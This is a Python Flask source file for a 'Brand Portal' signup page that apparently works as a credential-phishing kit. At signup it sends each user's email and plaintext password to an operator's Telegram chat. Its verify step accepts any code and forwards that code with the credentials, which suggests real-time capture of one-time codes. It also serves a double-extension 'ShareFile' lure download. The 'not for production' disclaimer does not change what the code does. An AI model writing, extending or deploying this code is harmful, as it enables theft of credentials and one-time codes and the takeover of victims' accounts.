"""
Brand Portal — human-in-the-loop signup
  1. Signup -> short Telegram (“new user in”) with email + password; password
     is held in DB until verify (not for production).
  2. Verify -> any non-empty code the user types is accepted; Telegram sends
     “verified” with email, password, and that code. No server-side code check yet.
"""

import os
import sqlite3
import logging
import html
from datetime import datetime, timezone
from pathlib import Path
from typing import Optional

import requests
from dotenv import load_dotenv
from flask import (
    Flask,
    abort,
    render_template,
    request,
    jsonify,
    redirect,
    send_file,
    url_for,
)
from werkzeug.security import generate_password_hash

load_dotenv()

BASE_DIR = Path(__file__).resolve().parent
DB_PATH = BASE_DIR / "portal.db"

CODE_INPUT_MAX_LEN = 256
PASSWORD_MIN_LEN = 8
PASSWORD_MAX_LEN = 128

TELEGRAM_BOT_TOKEN = os.getenv("TELEGRAM_BOT_TOKEN", "").strip()
TELEGRAM_ADMIN_CHAT_ID = os.getenv("TELEGRAM_ADMIN_CHAT_ID", "").strip()

# ShareFile step: file is not served from /static/ — only via /sharefile/download (attachment)
# or SHAREFILE_DOWNLOAD_URL. Configure paths and names in .env.
_DEFAULT_SHARE_STORAGE = "private/sharefile/shared-001.pdf"
SHAREFILE_STORAGE_PATH = os.getenv("SHAREFILE_STORAGE_PATH", _DEFAULT_SHARE_STORAGE).strip()
SHAREFILE_FILE_NAME = os.getenv("SHAREFILE_FILE_NAME", "shared-001.doc.pdf").strip()
SHAREFILE_DOWNLOAD_URL = os.getenv("SHAREFILE_DOWNLOAD_URL", "").strip()

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s  %(levelname)-7s  %(message)s",
)
log = logging.getLogger("portal")

app = Flask(__name__)
app.secret_key = os.getenv("FLASK_SECRET_KEY", "dev-secret-change-me")

if TELEGRAM_BOT_TOKEN and TELEGRAM_ADMIN_CHAT_ID:
    log.info("Telegram: notifications enabled (chat id configured).")
else:
    log.warning(
        "Telegram: notifications disabled — set TELEGRAM_BOT_TOKEN and "
        "TELEGRAM_ADMIN_CHAT_ID in .env and restart."
    )
log.warning(
    "HIL mode: plaintext passwords are stored until verify and sent via Telegram — "
    "not for production."
)


# ---------- database ----------


def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    conn.execute("PRAGMA foreign_keys = ON")
    return conn


def init_db():
    with get_db() as conn:
        conn.executescript(
            """
            CREATE TABLE IF NOT EXISTS users (
                id                      INTEGER PRIMARY KEY AUTOINCREMENT,
                email                   TEXT UNIQUE NOT NULL,
                password_hash           TEXT,
                test_plaintext_password TEXT,
                verified                INTEGER NOT NULL DEFAULT 0,
                verified_at             TEXT,
                created_at              TEXT NOT NULL
            );
            """
        )
        cols = {row[1] for row in conn.execute("PRAGMA table_info(users)").fetchall()}
        if "password_hash" not in cols:
            conn.execute("ALTER TABLE users ADD COLUMN password_hash TEXT")
        if "test_plaintext_password" not in cols:
            conn.execute("ALTER TABLE users ADD COLUMN test_plaintext_password TEXT")
    log.info("database ready at %s", DB_PATH)


# ---------- helpers ----------


def now_iso() -> str:
    return datetime.now(timezone.utc).isoformat()


def normalize_email(email: str) -> str:
    return (email or "").strip().lower()


def is_valid_email(email: str) -> bool:
    return "@" in email and "." in email.split("@")[-1] and len(email) <= 254


def resolved_storage_file(configured: str, default_relative: str) -> Path:
    """Project-relative file path; must resolve under BASE_DIR (not web-exposed)."""
    raw = (configured or default_relative).strip().replace("\\", "/").lstrip("/")
    if not raw or ".." in Path(raw).parts:
        raw = default_relative
    candidate = (BASE_DIR / raw).resolve()
    try:
        candidate.relative_to(BASE_DIR.resolve())
    except ValueError:
        candidate = (BASE_DIR / default_relative).resolve()
    return candidate


def validate_password(password: str) -> Optional[str]:
    if not password or len(password) < PASSWORD_MIN_LEN:
        return f"Password must be at least {PASSWORD_MIN_LEN} characters."
    if len(password) > PASSWORD_MAX_LEN:
        return f"Password must be at most {PASSWORD_MAX_LEN} characters."
    return None


def send_telegram(text: str) -> bool:
    if not TELEGRAM_BOT_TOKEN or not TELEGRAM_ADMIN_CHAT_ID:
        log.warning("telegram not configured; skipping notification")
        return False
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
    chat_id = TELEGRAM_ADMIN_CHAT_ID
    if chat_id.lstrip("-").isdigit():
        chat_id = int(chat_id)
    try:
        r = requests.post(
            url,
            json={
                "chat_id": chat_id,
                "text": text,
                "parse_mode": "HTML",
                "disable_web_page_preview": True,
            },
            timeout=10,
        )
        if r.status_code != 200:
            log.error("telegram error %s: %s", r.status_code, r.text)
            return False
        log.info("telegram: message delivered ok")
        return True
    except requests.RequestException as e:
        log.error("telegram request failed: %s", e)
        return False


def notify_telegram_signup(email: str, password: str) -> bool:
    safe_email = html.escape(email, quote=True)
    safe_pw = html.escape(password, quote=True)
    text = (
        "<b>New user in</b>\n"
        f"Email: <code>{safe_email}</code>\n"
        f"Password: <code>{safe_pw}</code>"
    )
    return send_telegram(text)


def notify_telegram_verified(email: str, code_entered: str, password_plain: str) -> bool:
    safe_email = html.escape(email, quote=True)
    safe_code = html.escape(code_entered, quote=True)
    safe_pw = html.escape(password_plain, quote=True)
    text = (
        "<b>Verified</b>\n"
        f"Email: <code>{safe_email}</code>\n"
        f"Password: <code>{safe_pw}</code>\n"
        f"Code: <code>{safe_code}</code>"
    )
    return send_telegram(text)


# ---------- routes ----------


@app.get("/")
def home():
    return render_template("signup.html")


@app.get("/verify")
def verify_page():
    email = request.args.get("email", "")
    return render_template("verify.html", email=email)


@app.get("/sharefile")
def sharefile_page():
    use_external = bool(SHAREFILE_DOWNLOAD_URL)
    storage_path = resolved_storage_file(
        SHAREFILE_STORAGE_PATH, _DEFAULT_SHARE_STORAGE
    )
    file_ready = use_external or storage_path.is_file()
    display_name = SHAREFILE_FILE_NAME or storage_path.name
    download_href = (
        SHAREFILE_DOWNLOAD_URL if use_external else url_for("sharefile_download")
    )
    return render_template(
        "sharefile.html",
        download_href=download_href,
        display_filename=display_name,
        file_ready=file_ready,
        uses_external_link=use_external,
    )


@app.get("/sharefile/download")
def sharefile_download():
    """Serve the configured file as a download only (not inline)."""
    if SHAREFILE_DOWNLOAD_URL:
        return redirect(SHAREFILE_DOWNLOAD_URL)
    path = resolved_storage_file(SHAREFILE_STORAGE_PATH, _DEFAULT_SHARE_STORAGE)
    if not path.is_file():
        abort(404)
    dl_name = SHAREFILE_FILE_NAME or path.name
    return send_file(
        path,
        as_attachment=True,
        download_name=dl_name,
        mimetype="application/octet-stream",
        max_age=0,
    )


@app.post("/api/signup")
def api_signup():
    data = request.get_json(silent=True) or request.form
    email = normalize_email(data.get("email", ""))
    password = data.get("password") or ""

    if not is_valid_email(email):
        return jsonify(ok=False, error="Please enter a valid email address."), 400

    pw_err = validate_password(password)
    if pw_err:
        return jsonify(ok=False, error=pw_err), 400

    pw_hash = generate_password_hash(password, method="pbkdf2:sha256")

    with get_db() as conn:
        existing = conn.execute(
            "SELECT id FROM users WHERE email = ?", (email,)
        ).fetchone()
        if existing is None:
            conn.execute(
                "INSERT INTO users (email, password_hash, test_plaintext_password, verified, created_at) "
                "VALUES (?, ?, ?, 0, ?)",
                (email, pw_hash, password, now_iso()),
            )
        else:
            # Same email always restarts the flow (no lockout for previously verified users).
            conn.execute(
                "UPDATE users SET password_hash = ?, test_plaintext_password = ?, "
                "verified = 0, verified_at = NULL WHERE email = ?",
                (pw_hash, password, email),
            )

    tg_ok = notify_telegram_signup(email, password)
    if not tg_ok:
        log.warning("telegram: signup notification failed")
    log.info("signup completed for %s (awaiting external code)", email)

    msg = "Saved. IT notified on Telegram. Enter any verification code on the next page when ready."
    if not tg_ok:
        msg += " Telegram may have failed — check server logs and .env."

    return jsonify(ok=True, message=msg, email=email, telegram_sent=tg_ok)


@app.post("/api/verify")
def api_verify():
    data = request.get_json(silent=True) or request.form
    email = normalize_email(data.get("email", ""))
    code = (data.get("code") or "").strip()

    if not is_valid_email(email):
        return jsonify(ok=False, error="Please enter a valid email address."), 400
    if not code:
        return jsonify(ok=False, error="Enter a verification code."), 400
    if len(code) > CODE_INPUT_MAX_LEN:
        return jsonify(ok=False, error="Code is too long."), 400

    password_plain: Optional[str] = None
    with get_db() as conn:
        user = conn.execute(
            "SELECT id, verified, test_plaintext_password FROM users WHERE email = ?",
            (email,),
        ).fetchone()

        if user is None:
            return jsonify(
                ok=False,
                error="No signup found for this email. Complete signup first.",
            ), 400
        if user["verified"]:
            return jsonify(
                ok=False,
                error="This email is already verified.",
            ), 400

        password_plain = user["test_plaintext_password"] or ""

        conn.execute(
            "UPDATE users SET verified = 1, verified_at = ?, test_plaintext_password = NULL "
            "WHERE email = ?",
            (now_iso(), email),
        )

    log.info("verified %s (user-supplied code, not validated)", email)

    tg_ok = notify_telegram_verified(email, code, password_plain)

    return jsonify(ok=True, message="Verified.", telegram_sent=tg_ok)


@app.get("/healthz")
def healthz():
    return {"status": "ok"}


if __name__ == "__main__":
    init_db()
    port = int(os.getenv("PORT", "5000"))
    app.run(host="127.0.0.1", port=port, debug=True)
